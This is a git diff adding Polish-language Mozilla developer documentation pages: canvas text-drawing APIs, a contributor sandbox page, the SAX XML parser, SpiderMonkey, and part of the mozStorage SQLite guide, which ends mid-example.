id="Narz.C4.99dzia">Narzędzia</h4> <ul> <li><a class="external" href="http://ted.mielczarek.org/code/mozilla/extensiondev/">Rozszerzenie do programowania rozszerzeń</a> - łączy wiele istotnych narzędzi deweloperskich</li> <li><a href="/pl/Inspektor_DOM" title="pl/Inspektor_DOM">Inspektor DOM</a> - sprawdź drzewo DOM chrome</li> <li><a href="/pl/Venkman" title="pl/Venkman">Venkman</a>, debugger JavaScript</li> <li><a class="external" href="http://ted.mielczarek.org/code/mozilla/extensionwiz/">Kreator rozszerzenia</a> - generuje szkielet rozszerzenia</li> <li><a class="external" href="http://www.spket.com/">Spket IDE</a> - IDE do tworzenia rozszerzeń</li> <li><a class="external" href="http://hyperstruct.net/projects/mozrepl">MozRepl</a> - Pozwala połączyć się z Firefoksem lub innymi aplikacjami Mozilli, badać i modyfikować je od środka, w czasie działania</li> <li><a href="/pl/Pow%C5%82oki_JavaScript" title="pl/Powłoki_JavaScript">Powłoki JavaScript</a> - testuj fragmenty JavaScriptu</li> </ul> <p><span><a href="/Special:Tags?tag=Rozszerzenia:Narz%C4%99dzia&amp;language=pl" title="Special:Tags?tag=Rozszerzenia:Narzędzia&amp;language=pl">Pokaż wszystkie...</a></span></p> <h4 id="Powi.C4.85zane_tematy">Powiązane tematy</h4> <dl><dd> <a href="/pl/XUL" title="pl/XUL">XUL</a>, <a href="/pl/JavaScript" title="pl/JavaScript">JavaScript</a>, <a href="/pl/XPCOM" title="pl/XPCOM">XPCOM</a>, <a href="/pl/Motywy" title="pl/Motywy">Motywy</a>, <a href="/pl/Programowanie_Mozilli" title="pl/Programowanie_Mozilli">Programowanie Mozilli</a> </dd></dl></td> </tr> </tbody>
+</table>
+<p><span>Categories</span></p>
+<p><span>Interwiki Language Links</span></p>
+<p> </p>
+<p> </p>
+<p>{{ languages( { "de": "de/Erweiterungen", "en": "en/Extensions", "es": "es/Extensiones", "fr": "fr/Extensions", "it": "it/Estensioni", "ja": "ja/Extensions", "ko": "ko/Extensions", "pt": "pt/Extens\u00f5es", "ru": "ru/\u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f", "zh-cn": "cn/\u6269\u5c55", "zh-tw": "zh_tw/\u64f4\u5145\u5957\u4ef6" } ) }}</p>
diff --git a/files/pl/rysowanie_tekstu_przy_użyciu_canvas/index.html b/files/pl/rysowanie_tekstu_przy_użyciu_canvas/index.html
new file mode 100644
index 0000000000..4f79154344
--- /dev/null
+++ b/files/pl/rysowanie_tekstu_przy_użyciu_canvas/index.html
@@ -0,0 +1,136 @@
+---
+title: Rysowanie tekstu przy użyciu canvas
+slug: Rysowanie_tekstu_przy_użyciu_canvas
+tags:
+ - HTML
+ - 'HTML:Canvas'
+ - NeedsContent
+ - Wszystkie_kategorie
+translation_of: Web/API/Canvas_API/Tutorial/Drawing_text
+---
+<p>{{ Gecko_minversion_header(1.9) }}
+{{ Fx_minversion_header(3) }}
+Element <code><a href="pl/HTML/Canvas">&lt;canvas&gt;</a></code> wspiera obsługę rysowania tekstu przez eksperymentalne API stworzone w Mozilli.
+</p>
+<h2 id="Method_overview" name="Method_overview"> Method overview </h2>
+<table class="standard-table"> <tbody><tr>
+<td> <code>void <a href="#mozDrawText.28.29">mozDrawText</a>(w <a href="pl/DOMString">DOMString</a> textToDraw);</code>
+</td></tr>
+<tr>
+<td> <code>float <a href="#mozMeasureText.28.29">mozMeasureText</a>(w DOMString textToMeasure);</code>
+</td></tr>
+<tr>
+<td> <code>void <a href="#mozPathText.28.29">mozPathText</a>(w DOMString textToPath);</code>
+</td></tr>
+<tr>
+<td> <code>void <a href="#mozTextAlongPath.28.29">mozTextAlongPath</a>(w DOMString textToDraw, w boolean stroke);</code>
+</td></tr>
+</tbody></table>
+<h2 id="Atrybuty" name="Atrybuty"> Atrybuty </h2>
+<table class="standard-table"> <tbody><tr>
+<td class="header">Atrybut
+</td><td class="header">Typ
+</td><td class="header">Opis
+</td></tr> <tr>
+<td><code>mozTextStyle</code>
+</td><td><code><a href="pl/DOMString">DOMString</a></code>
+</td><td>Przy rysowaniu tekstu używany jest aktualny styl. Ciąg używa takiej samej składni jak <a href="pl/CSS/font">CSS font</a>. Aby zmienić styl tekstu, po prostu zmień wartości atrybutu tak jak zaprezentowano to poniżej. Domyślna czcionka to 12-point sans-serif.
+<p>Przykład:
+</p>
+<pre class="eval">ctx.mozTextStyle = "20pt Arial";
+</pre>
+</td></tr></tbody></table>
+<h2 id="Metody" name="Metody">Metody</h2>
+<h3 id="mozDrawText.28.29" name="mozDrawText.28.29">mozDrawText()</h3>
+<p>Rysuje podany tekst używając stylu tekstu podanego w atrybucie <code>mozTextStyle</code>. Kolor wypełnienia kontekstu zostanie użyty jako kolor tekstu.
+</p>
+<pre class="eval">void mozDrawText(
+ in DOMString textToDraw
+);
+
+</pre>
+<h6 id="Parametry" name="Parametry">Parametry</h6>
+<dl><dt>&lt;tt&gt;textToDraw&lt;/tt&gt;
+</dt><dd>Tekst rysowany w tym kontekście.
+</dd></dl>
+<h6 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h6>
+<pre class="eval">ctx.translate(10, 50);
+ctx.fillStyle = "Red";
+ctx.mozDrawText("Przykładowy ciąg");
+</pre>
+<p>Ten kod rysuje tekst "Przykładowy ciąg" na czerwono w pozycji (10,50) elementu canvas.
+</p>
+<h3 id="mozMeasureText.28.29" name="mozMeasureText.28.29">mozMeasureText()</h3>
+<p>Zwraca szerokość, w pikselach, jaką podany tekst zajmie kiedy zostanie narysowany w aktualnie użytym stylu.
+</p>
+<pre class="eval">float mozMeasureText(
+ in DOMString textToMeasure
+);
+</pre>
+<h6 id="Parametery" name="Parametery">Parametery</h6>
+<dl><dt>&lt;tt&gt;textToMeasure&lt;/tt&gt;
+</dt><dd>Ciąg, którego szerokośc w pikselach chcemy ustalić.
+</dd></dl>
+<h6 id="Zwracana_warto.C5.9B.C4.87" name="Zwracana_warto.C5.9B.C4.87">Zwracana wartość</h6>
+<p>Szerokość tekstu w pikselach.
+</p>
+<h6 id="Przyk.C5.82ad_2" name="Przyk.C5.82ad_2">Przykład</h6>
+<pre class="eval">var text = "Przykładowy ciąg";
+var width = ctx.canvas.width;
+var len = ctx.mozMeasureText(text);
+ctx.translate((width - len)/2, 0);
+ctx.mozDrawText(text);
+</pre>
+<p>Ten przykład określa szerokość ciągu, a następnie korzstając z tych danych ryskuje go na horyzontalnym środku w elemencie canvas.
+</p>
+<h3 id="mozPathText.28.29" name="mozPathText.28.29">mozPathText()</h3>
+<p>Dodaje kontury tekstu do aktualnej ścieżki. Pozwala to na obrysowanie tekstu zamiast wypełniania go.
+</p>
+<pre class="eval">void mozPathText(
+ in DOMString textToPath
+);
+</pre>
+<h6 id="Parametery_2" name="Parametery_2">Parametery</h6>
+<dl><dt>&lt;tt&gt;textToPath&lt;/tt&gt;
+</dt><dd>Tekst, którego kontury mają zostać dodane do aktualnej ścieżki.
+</dd></dl>
+<h6 id="Example" name="Example">Example</h6>
+<pre class="eval">ctx.fillStyle = "green";
+ctx.strokeStyle = "black";
+ctx.mozPathText("Przykładowy ciąg");
+ctx.fill()
+ctx.stroke()
+</pre>
+<p>Ten kod narysuje tekst "Przykładowy ciąg" na zielono z czarną obwódką przez dodanie konturów tekstu do ścieżki, a następnie wypełniając ścieżkę i nakładając kontur.
+</p>
+<h3 id="mozTextAlongPath.28.29" name="mozTextAlongPath.28.29">mozTextAlongPath()</h3>
+<p>Dodaje (lub rysuje) określony tekst wzdłuż podanej ścieżki.
+</p>
+<pre class="eval">void mozTextAlongPath(
+ in DOMString textToDraw,
+ in boolean stroke
+);
+</pre>
+<h6 id="Parametery_3" name="Parametery_3">Parametery</h6>
+<dl><dt>&lt;tt&gt;textToDraw&lt;/tt&gt;
+</dt><dd>Tekst, który ma zostać narysowany wzdłuż podanej ścieżki.
+</dd><dt>&lt;tt&gt;stroke&lt;/tt&gt;
+</dt><dd>Jeśli ten parametr ma wartość <code>true</code>, wówczas tekst będzie rysowany wzdłuż podanej ścieżki. Jeśli ma wartość <code>false</code>, tekst zostanie zamiast tego dodany do ścieżki, na końcu.
+</dd></dl>
+<h6 id="Uwagi" name="Uwagi">Uwagi</h6>
+<p>Glify nie są skalowane ani transformowane zgodnie z krzywymi ścieżki; zamiast tego, każdy glif jest renderowany traktując ścieżkę pod sobą jako prostą linię. Można to wykorzystać do stworzenia unikatowych efektów.
+</p>
+<h2 id="Notatki" name="Notatki"> Notatki </h2>
+<ul><li> Te rozszerzenia nie są jeszcze ustandardyzowane przez WHATWG.
+</li><li> Nie potrzebujesz specjalnego kontekstu, aby tego używać; kontekst 2D wystarczy.
+</li><li> Wszelkie rysowanie odbywa się przy użyciu aktualnej transformacji.
+</li><li> Aby dowiedzieć się więcej o detalach implementacji zajrzyj do {{ Bug(339553) }}.
+</li></ul>
+<h2 id="Dodatkowe_przyk.C5.82ady" name="Dodatkowe_przyk.C5.82ady"> Dodatkowe przykłady </h2>
+<ul><li> <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=273497">Rysowanie tekstu konturem wokół ścieżki</a>
+</li><li> <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=273498">Rysowanie wzdłuż ścieżki</a>
+</li><li> <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=273499">Animowanie ruchu tekstu wokół kółka</a>.
+</li></ul>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Drawing_text_using_a_canvas", "es": "es/Dibujar_texto_usando_canvas", "fr": "fr/Dessin_de_texte_avec_canvas", "ja": "ja/Drawing_text_using_a_canvas" } ) }}
diff --git a/files/pl/sandbox/index.html b/files/pl/sandbox/index.html
new file mode 100644
index 0000000000..f621a15abc
--- /dev/null
+++ b/files/pl/sandbox/index.html
@@ -0,0 +1,70 @@
+---
+title: MoSandbox
+slug: Sandbox
+translation_of: Sandbox
+---
+<h2 id="I_Love_Travis_Tuohy" name="I_Love_Travis_Tuohy">Cześć WSZYSTKIM</h2>
+
+<h2 id="auto-generate_header_id_test_if...else">auto-generate header id test : if...else</h2>
+
+<h3 id="Cześć_WSZYSTKIM">Cześć WSZYSTKIM</h3>
+
+<h2 id="&lt;h1>Cześć_WSZYSTKIM&lt;h1>_&lt;p>To_jest_&lt;i>świetny&lt;i>_akapit&lt;p>">&lt;h1&gt;Cześć WSZYSTKIM&lt;/h1&gt;<br>
+ &lt;p&gt;To jest &lt;i&gt;świetny&lt;/i&gt; akapit&lt;/p&gt;</h2>
+
+<p>Jest to eksperymentalna strona dla ludzi którzy chcą zacząć współpracę z MDM contributor.</p>
+
+<pre class="brush: css">h1{
+color: yellow;
+}
+p{
+font-size: low;
+}</pre>
+
+<h2 id="Wynik"><strong>Wynik</strong></h2>
+
+<p>{{ EmbedLiveSample('Hello_World', '', '', '', 'Sandbox') }}</p>
+
+<h2 id="Test_Template" name="Test_Template">Testowy wygląd</h2>
+
+<h3 id="Kod_HTML">Kod HTML</h3>
+
+<pre class="brush: html">&lt;canvas id='the_canvas'&gt;&lt;/canvas&gt;</pre>
+
+<h3 id="Kod_CSS">Kod CSS</h3>
+
+<pre class="brush: css">body, html, canvas {width:100%; height:100%;}
+</pre>
+
+<h3 id="Kod_JavaScript">Kod JavaScript</h3>
+
+<pre class="brush: js">var canvas = document.getElementById('the_canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.fillRect(50, 50, 100, 100);
+</pre>
+
+<p> </p>
+
+<p>{{ EmbedLiveSample('Test_Template') }}</p>
+
+<h2 id="Inny_livesample">Inny livesample</h2>
+
+<p>Kod JavaScript</p>
+
+<pre class="brush: js">const result = 1 + 1;
+document.body.innerHTML += result;
+</pre>
+
+<p>Wyjście:<br>
+ {{ EmbedLiveSample('Another_livesample', 100, 20) }}<br>
+ Koniec wyjścia<br>
+  </p>
+
+<p>Kod HTML</p>
+
+<pre class="brush: html">&lt;div&gt;Hola Mundo&lt;/div&gt;</pre>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/pl/sax/index.html b/files/pl/sax/index.html
new file mode 100644
index 0000000000..ec8b53ed2f
--- /dev/null
+++ b/files/pl/sax/index.html
@@ -0,0 +1,110 @@
+---
+title: SAX
+slug: SAX
+tags:
+ - Dodatki
+ - Rozszerzenia
+ - Wszystkie_kategorie
+translation_of: Archive/SAX
+---
+<p>
+</p><p><b>SAX</b>, skrót dla <i>Simple API for XML</i>, jest parserem API. Po raz pierwszy SAX został szeroko zadoptowany w API dla XML w Javie i później został zaimplementowany w kilku innych środowiskach programowania. Wraz z <a href="pl/Firefox_2">Firefoksem 2</a>, parser SAX jest dostępny w aplikacjach XUL i rozszerzeniach. Aby zdobyć dodatkowe informacje, odwiedź <a class="external" href="http://www.saxproject.org/">stronę domową SAX</a>.
+</p>
+<h3 id="Szybki_start"> Szybki start </h3>
+<p>Funkcjonalność parsera SAX jest dostępna poprzez interfejs <i>XML reader component</i>. Aby go utworzyć, zastosuj poniższy kod:
+</p>
+<pre class="eval">var xmlReader = Components.classes["@mozilla.org/saxparser/xmlreader;1"]
+ .createInstance(Components.interfaces.nsISAXXMLReader);
+</pre>
+<p>Po utworzeniu parsera SAX, będzie potrzebne ustawienie podprogramów obsługi dla zdarzeń, którymi jesteśmy zainteresowani <b>and fire off the parsing process</b>. Cała funkcjonalnośc jest dostępna poprzez interfejs <a href="https://dxr.mozilla.org/mozilla-central/source/parser/xml/public/nsISAXXMLReader.idl" rel="custom">nsISAXXMLReader</a>.
+</p>
+<h4 id="Ustawienie_obiektów_obsługi"> Ustawienie obiektów obsługi </h4>
+<p>Obiekty obsługi (określone przez użytkownika) są zdefiniowanymi obiektami zaimplementowanymi w programie obsługi interfejsu SAX, które są zależne od rodzaju informacji, jaki chcemy otrzymać z parsera. Po rozpoczęciu procesu parsowania, obiekty obsługi przyjmują szereg wywołań zwrotnych dla treści XML, która jest parsowana. Dostępne są następujące obiekty obsługi: </p>
+<table class="fullwidth-table">
+<tbody><tr> <th>Interfejs</th> <th>Zastosowanie</th>
+</tr>
+<tr> <td><a href="https://dxr.mozilla.org/mozilla-central/source/parser/xml/public/nsISAXContentHandler.idl" rel="custom">nsISAXContentHandler</a></td> <td>Pakiet obiektu obsługuje zawartość logiczną dokumentu (np. elementy, atrybuty, białe znaki oraz instrukcje przetwarzania).</td>
+</tr>
+<tr> <td><a href="https://dxr.mozilla.org/mozilla-central/source/parser/xml/public/nsISAXDTDHandler.idl" rel="custom">nsISAXDTDHandler</a></td> <td>Pakiet obiektu obsługuje proste podobne do DTD zdarzenia.</td>
+</tr>
+<tr> <td><a href="https://dxr.mozilla.org/mozilla-central/source/parser/xml/public/nsISAXErrorHandler.idl" rel="custom">nsISAXErrorHandler</a></td> <td>Pakiet obsługi błędów strumienia wejściowego.</td>
+</tr>
+<tr> <td><a href="https://dxr.mozilla.org/mozilla-central/source/parser/xml/public/nsISAXLexicalHandler.idl" rel="custom">nsISAXLexicalHandler</a></td> <td>Rozszerzenie obiektu SAX2 dla zdarzeń struktur leksykalnych (np. komentarzy i sekcji CDATA, deklaracji DTD oraz encji).</td>
+</tr>
+</tbody></table>
+<p>Przykład implementacji najczęściej stosowanych obiektów obsługi:
+</p>
+<pre>function print(s) {
+ dump(s + "\n");
+}
+
+xmlReader.contentHandler = {
+ // nsISAXContentHandler
+ startDocument: function() {
+ print("startDocument");
+ },
+
+ endDocument: function() {
+ print("endDocument");
+ },
+
+ startElement: function(uri, localName, qName, /*nsISAXAttributes*/ attributes) {
+ var attrs = [];
+ for(var i=0; i&lt;attributes.length; i++) {
+ attrs.push(attributes.getQName(i) + "='" +
+ attributes.getValue(i) + "'");
+ }
+
+ print("startElement: namespace='" + uri + "', localName='" +
+ localName + "', qName='" + qName + "', attributes={" +
+ attrs.join(",") + "}");
+ },
+
+ endElement: function(uri, localName, qName) {
+ print("endElement: namespace='" + uri + "', localName='" +
+ localName + "', qName='" + qName + "'");
+ },
+
+ characters: function(value) {
+ print("characters: " + value);
+ },
+
+ processingInstruction: function(target, data) {
+ print("processingInstruction: target='" + target + "', data='" +
+ data + "'");
+ },
+
+ ignorableWhitespace: function(whitespace) {
+ // don't care
+ },
+
+ startPrefixMapping: function(prefix, uri) {
+ // don't care
+ },
+
+ endPrefixMapping: function(prefix) {
+ // don't care
+ },
+
+ // nsISupports
+ QueryInterface: function(iid) {
+ if(!iid.equals(Components.interfaces.nsISupports) &amp;&amp;
+  !iid.equals(Components.interfaces.nsISAXContentHandler))
+ throw Components.results.NS_ERROR_NO_INTERFACE;
+ return this;
+ }
+};
+</pre>
+<h4 id="Rozpoczęcie_parsowania"> Rozpoczęcie parsowania </h4>
+<p><i>XML Reader component</i> potrafi parsować XML z łańcucha znakowego, <a href="pl/NsIInputStream">nsIInputStream</a> lub asynchronicznie przez interfejs <a href="pl/NsIStreamListener">nsIStreamListener</a>. Poniżej znajduje się przykład parsowania z łańcucha znakowego: </p>
+<pre class="eval">xmlReader.parseFromString("&lt;f:a xmlns:f='g' d='1'&gt;&lt;BBQ/&gt;&lt;/f:a&gt;", "text/xml");
+</pre>
+<p>Wywoła to następującym rezultat na wyjściu (biorąc na siebie zawartość obiektu obsługi stosując przykład powyżej):
+</p>
+<pre>startDocument
+startElement: namespace='g', localName='a', qName='f:a', attributes={d='1'}
+startElement: namespace='', localName='BBQ', qName='BBQ', attributes={}
+endElement: namespace='', localName='BBQ', qName='BBQ'
+endElement: namespace='g', localName='a', qName='f:a'
+endDocument
+</pre>
diff --git a/files/pl/spidermonkey/index.html b/files/pl/spidermonkey/index.html
new file mode 100644
index 0000000000..0fc832564e
--- /dev/null
+++ b/files/pl/spidermonkey/index.html
@@ -0,0 +1,46 @@
+---
+title: SpiderMonkey
+slug: SpiderMonkey
+tags:
+ - JavaScript
+ - SpiderMonkey
+ - Wszystkie_kategorie
+translation_of: Mozilla/Projects/SpiderMonkey
+---
+<div>
+<p><strong>SpiderMonkey</strong> jest napisanym w C silnikiem <a href="pl/JavaScript">JavaScriptu</a> używanym w <a href="pl/Gecko">Gecko</a>. Jest on używany w wielu różnych produktach Mozilli i jest dostępny na potrójnej licencji MPL/GPL/LGPL.</p>
+</div>
+
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h4 id="Dokumentacja" name="Dokumentacja"><a>Dokumentacja</a></h4>
+
+ <dl>
+ <dt><a class="external" href="http://www.mozilla.org/js/spidermonkey/tutorial.html">Jak osadzić silnik JavaScriptu</a></dt>
+ <dd><small>Przewodnik w jaki sposób osadzić SpiderMonkey.</small></dd>
+ </dl>
+
+ <p><span class="alllinks"><a>Pokaż wszystkie...</a></span></p>
+ </td>
+ <td>
+ <h4 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h4>
+
+ <ul>
+ <li>Obejrzyj fora Mozilli...</li>
+ </ul>
+
+ <h4 id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy">Powiązane tematy</h4>
+
+ <dl>
+ <dd><a href="pl/JavaScript">JavaScript</a></dd>
+ </dl>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p><span class="comment">Categories</span></p>
+
+<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/pl/storage/index.html b/files/pl/storage/index.html
new file mode 100644
index 0000000000..13c4417e0c
--- /dev/null
+++ b/files/pl/storage/index.html
@@ -0,0 +1,397 @@
+---
+title: Storage
+slug: Storage
+tags:
+ - Dokumentacja_API_XPCOM
+ - Interfejsy
+ - Storage
+ - Strony_wymagające_dopracowania
+ - Toolkit API
+ - Wszystkie_kategorie
+ - XPCOM
+translation_of: Mozilla/Tech/XPCOM/Storage
+---
+<p></p>
+
+<p><strong>Storage</strong> to API bazy danych <a class="external" href="http://www.sqlite.org/">SQLite</a>. Jest ono dostępne na zaufanych wywoływaczy, tzn. rozszerzeń i komponentów Firefoksa. Pełna dokumentacja wszystkich metod i własności interfejsu połączeń bazy danych, zobacz <a href="pl/MozIStorageConnection">mozIStorageConnection</a>.</p>
+
+<p>API jest obecnie "odmrożone", co oznacza, że może być ono zmienione w każdej chwili. Prawdopodobnie API zmieni się między Firefoksem 2 a Firefoksem 3.</p>
+
+<p> </p>
+
+<div class="note"><strong>Uwaga:</strong> Storage nie jest tym samym, co funkcja <a href="pl/DOM/Storage">DOM:Storage</a>, która może być użyta przez serwisy internetowe do przechowywania stałych danych lub <a href="pl/API_przechowywania_sesji">API przechowywania sesji</a> (funkcja <a href="pl/XPCOM">XPCOM</a> służącą do przechowywania oraz przeznaczona do użytku przez rozszerzenia).</div>
+
+<p> </p>
+
+<h2 id="Na_pocz.C4.85tek" name="Na_pocz.C4.85tek">Na początek</h2>
+
+<p>Dokument ten opisuje API mozStorage oraz niektóre dziwactwa sqlite.<em>Nie</em> znajdziesz tu informacji o SQL ani "normalnym" sqlite. Możesz jednak znaleźć trochę przydatnych odnośników na ten temat w <a href="#Zobacz_tak.C5.BCe">części Zobacz także</a>. W razie pytań związanych z API mozStorage, możesz wysłać zapytanie na grupie mozilla.dev.apps.firefox na serwerze news.mozilla.org. Aby zgłosić błędy, użyj <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Toolkit&amp;component=Storage">Bugzilli</a> (produkt "Toolkit", komponent "Storage").</p>
+
+<p>Zacznijmy więc. mozStorage został zaprojektowany jak wiele innych baz danych. Ogólna procedura postępowania wygląda następująco:</p>
+
+<ul>
+ <li>Otwarcie połączenia z wybraną bazą danych.</li>
+ <li>Utworzenie instrukcji, które mają być wykonane przy połączeniu.</li>
+ <li>Dowiązanie parametrów do instrukcji w zależności od potrzeby.</li>
+ <li>Wykonanie instrukcji.</li>
+ <li>Sprawdzenie błędów.</li>
+ <li>Zresetowanie instrukcji.</li>
+</ul>
+
+<h2 id="Otwarcie_po.C5.82.C4.85czenia" name="Otwarcie_po.C5.82.C4.85czenia">Otwarcie połączenia</h2>
+
+<p>Użytkownicy C++: pierwsza inicjalizacja usługi przechowywania musi nastąpić z głównej wątku. Gdy zostanie one zainicjalizowana po raz pierwszy z innego wątku, zostanie wyświetlony błąd. Dlatego jeśli chcesz użyć usługi z wątku pamiętaj, aby wywołać getService z głównego wątku i upewnić się, że usługa została utworzona.</p>
+
+<p>Przykład w C++ nawiązania połączenia z "asdf.sqlite" w katalogu profilu użytkownika:</p>
+
+<pre>nsCOMPtr&lt;nsIFile&gt; dbFile;
+rv = NS_GetSpecialDirectory(NS_APP_USER_PROFILE_50_DIR,
+ getter_AddRefs(dbFile));
+NS_ENSURE_SUCCESS(rv, rv);
+rv = dbFile-&gt;Append(NS_LITERAL_STRING("asdf.sqlite"));
+NS_ENSURE_SUCCESS(rv, rv);
+
+mDBService = do_GetService(MOZ_STORAGE_SERVICE_CONTRACTID, &amp;rv);
+NS_ENSURE_SUCCESS(rv, rv);
+rv = mDBService-&gt;OpenDatabase(dbFile, getter_AddRefs(mDBConn));
+NS_ENSURE_SUCCESS(rv, rv);
+</pre>
+
+<p><code>MOZ_STORAGE_SERVICE_CONTRACTID</code> jest zdefiniowany w <code><a href="https://dxr.mozilla.org/mozilla-central/source/storage/build/mozStorageCID.h" rel="custom">storage/build/mozStorageCID.h</a></code>. Jego wartością jest <code>"@mozilla.org/storage/service;1"</code></p>
+
+<p>Przykład w JavaScript:</p>
+
+<pre>var file = Components.classes["@mozilla.org/file/directory_service;1"]
+ .getService(Components.interfaces.nsIProperties)
+ .get("ProfD", Components.interfaces.nsIFile);
+file.append("my_db_file_name.sqlite");
+
+var storageService = Components.classes["@mozilla.org/storage/service;1"]
+ .getService(Components.interfaces.mozIStorageService);
+var mDBConn = storageService.openDatabase(file);
+</pre>
+
+<dl>
+ <dd>
+ <div class="note">Uwaga: Funkcja OpenDatabase może zostać zmieniona. Prawdopodobnie zostanie ona rozbudowana/uproszczona, aby popełnienie ewentualnego błędu było trudniejsze.</div>
+ </dd>
+</dl>
+
+<p>Kuszące może być nadanie rozszerzenia ".sdb" znaczącego <strong>s</strong>qlite <strong>d</strong>ata<strong>b</strong>ase, jednak<em>nie jest to zalecane</em>. Pliki z tym rozszerzeniem są w szczególny sposób traktowane przez Windows jako "Baza danych o zgodności aplikacji" i zmiany w nich są automatycznie zapisywane w ramach funkcjonalności przywracania systemu. Może to powodować znaczny spadek wydajności operacji na takich plikach.</p>
+
+<h2 id="Instrukcje" name="Instrukcje">Instrukcje</h2>
+
+<p>Wykonaj poniższe kroki, aby utworzyć i wykonać instrukcje na Twojej bazie danych SQLite. Aby uzyskać pełną dokumentację, zobacz <a href="pl/MozIStorageStatement">mozIStorageStatement</a>.</p>
+
+<h3 id="Tworzenie_instrukcji" name="Tworzenie_instrukcji">Tworzenie instrukcji</h3>
+
+<p>Są dwa sposoby na stworzenie instrukcji. Gdy nie masz żadnych parametrów i instrukcja nie zwraca danych, użyj <code>mozIStorageConnection.executeSimpleSQL</code>.</p>
+
+<pre>C++:
+rv = mDBConn-&gt;ExecuteSimpleSQL(NS_LITERAL_CSTRING("CREATE TABLE foo (a INTEGER)"));
+
+JS:
+mDBConn.executeSimpleSQL("CREATE TABLE foo (a INTEGER)");
+</pre>
+
+<p>W przeciwnym wypadku powinieneś przygotować instrukcję za pomocą <code>mozIStorageConnection.createStatement</code>:</p>
+
+<pre>C++:
+nsCOMPtr&lt;mozIStorageStatement&gt; statement;
+rv = mDBConn-&gt;CreateStatement(NS_LITERAL_CSTRING("SELECT * FROM foo WHERE a = ?1"),
+ getter_AddRefs(statement));
+NS_ENSURE_SUCCESS(rv, rv);
+
+JS:
+var statement = mDBConn.createStatement("SELECT * FROM foo WHERE a = ?1");
+</pre>
+
+<p>W przykładzie tym zostało użyte wyrażenie "?1" - w to miejsce dowiązany zostanie parametr (zobacz następny rozdział).</p>
+
+<p>Po przygotowaniu instrukcji, można dowiązać do niego parametry, wykonać je, zresetować i znowu dowiązać, wykonać itd. Przy wielokrotnym wykonaniu jednej instrukcji jej prekompilacja przyniesie znaczny wzrost wydajności, ponieważ zapytanie SQL nie musi być przetwarzane za każdym razem.</p>
+
+<p>Osoby dobrze znające sqlite wiedzą, że prekompilowane instrukcje nie są sprawdzane po zmianie struktury bazy. Na szczęście mozIStorageStatement wykrywa błąd i w razie potrzeby kompiluje ponownie instrukcję. Dzięki temu po przygotowaniu instrukcji nie musisz się martwić, gdyż nawet po zmianie struktury bazy wszystko będzie nadal działać.</p>
+
+<h3 id="Parametry_wi.C4.85zania" name="Parametry_wi.C4.85zania">Parametry wiązania</h3>
+
+<p>Najlepszym rozwiązaniem jest zazwyczaj wiązanie wszystkich parametrów z osobna, zamiast próby konstruowania w locie ciągów SQL zawierających te parametry. Utrudnia to między innymi ataki typu "SQL injection", ponieważ wiązane parametry nigdy nie są wykonywane jako SQL.</p>
+
+<p>Parametry są wiązane do instrukcji posiadającej specjalne pola do wstawienia ich (ang. placeholders). Pola są adresowane po indeksach, zaczynając od "?1", potem "?2"... Używając funkcji instrukcji BindXXXParameter(0) BindXXXParameter(1)... możesz powiązać parametry z tymi polami.</p>
+
+<dl>
+ <dd>
+ <div class="note">Uwaga: Indeksy pól wiązania zaczynają się od 1. Liczby całkowite przekazywane do funkcji wiążących zaczynają się od 0. To oznacza, że "?1" odpowiada parametrowi 0, "?2" odpowiada parametrowi 1 itd.</div>
+ </dd>
+</dl>
+
+<p>Możesz również użyć parametru posiadającego nazwę, np. ":przyklad" zamiast "?xx".</p>
+
+<p>Pole wiązania może wystąpić wielokrotnie w ciągu SQL i wszystkie instancje zostaną zastąpione wiązanymi wartościami. Odwiązane parametry będą interpretowane jako NULL.</p>
+
+<p>Poniższy przykład stosuje jedynie <code>bindUTF8StringParameter()</code> i <code>bindInt32Parameter()</code>. Aby uzyskać pełną listę funkcji wiązania, zobacz <a href="/pl/MozIStorageStatement#Funkcje_wi.C4.85zania" title="pl/MozIStorageStatement#Funkcje_wi.C4.85zania">mozIStorageStatement (wersja polska, w tym momencie <strong>pusta!</strong>)</a> lub <a class="internal" href="/en/mozIStorageStatement#Binding_Functions" title="en/mozIStorageStatement#Binding Functions">mozIStorageStatement (wersja angielska)</a>.</p>
+
+<p>Przykład C++:</p>
+
+<pre>nsCOMPtr&lt;mozIStorageStatement&gt; statement;
+rv = mDBConn-&gt;CreateStatement(NS_LITERAL_CSTRING("SELECT * FROM foo WHERE a = ?1 AND b &gt; ?2"),
+ getter_AddRefs(statement));
+NS_ENSURE_SUCCESS(rv, rv);
+rv = statement-&gt;BindUTF8StringParameter(0, "hello"); // "hello" będzie zamienione przez "?1"
+NS_ENSURE_SUCCESS(rv, rv);
+rv = statement-&gt;BindInt32Parameter(1, 1234); // 1234 będzie zamienione przez "?2"
+NS_ENSURE_SUCCESS(rv, rv);
+</pre>
+
+<p>Przykład Javascript:</p>
+
+<pre>var statement = mDBConn.createStatement("SELECT * FROM foo WHERE a = ?1 AND b &gt; ?2");
+statement.bindUTF8StringParameter(0, "hello");
+statement.bindInt32Parameter(1, 1234);
+</pre>
+
+<p>If you use named parameters, you should use the <code>getParameterIndex</code> method to get the index of the named parameter. Here is a JavaScript example:</p>
+
+<pre>var statement = mDBConn.createStatement("SELECT * FROM foo WHERE a = :myfirstparam AND b &gt; :mysecondparam");
+
+var firstidx = statement.getParameterIndex(":myfirstparam");
+statement.bindUTF8StringParameter(firstidx, "hello");
+
+var secondidx = statement.getParameterIndex(":mysecondparam");
+statement.bindInt32Parameter(secondidx, 1234);
+</pre>
+
+<p>You can of course mix named parameters and indexed parameters in a same query:</p>
+
+<pre>var statement = mDBConn.createStatement("SELECT * FROM foo WHERE a = ?1 AND b &gt; :mysecondparam");
+
+statement.bindUTF8StringParameter(0, "hello");
+// you can also use
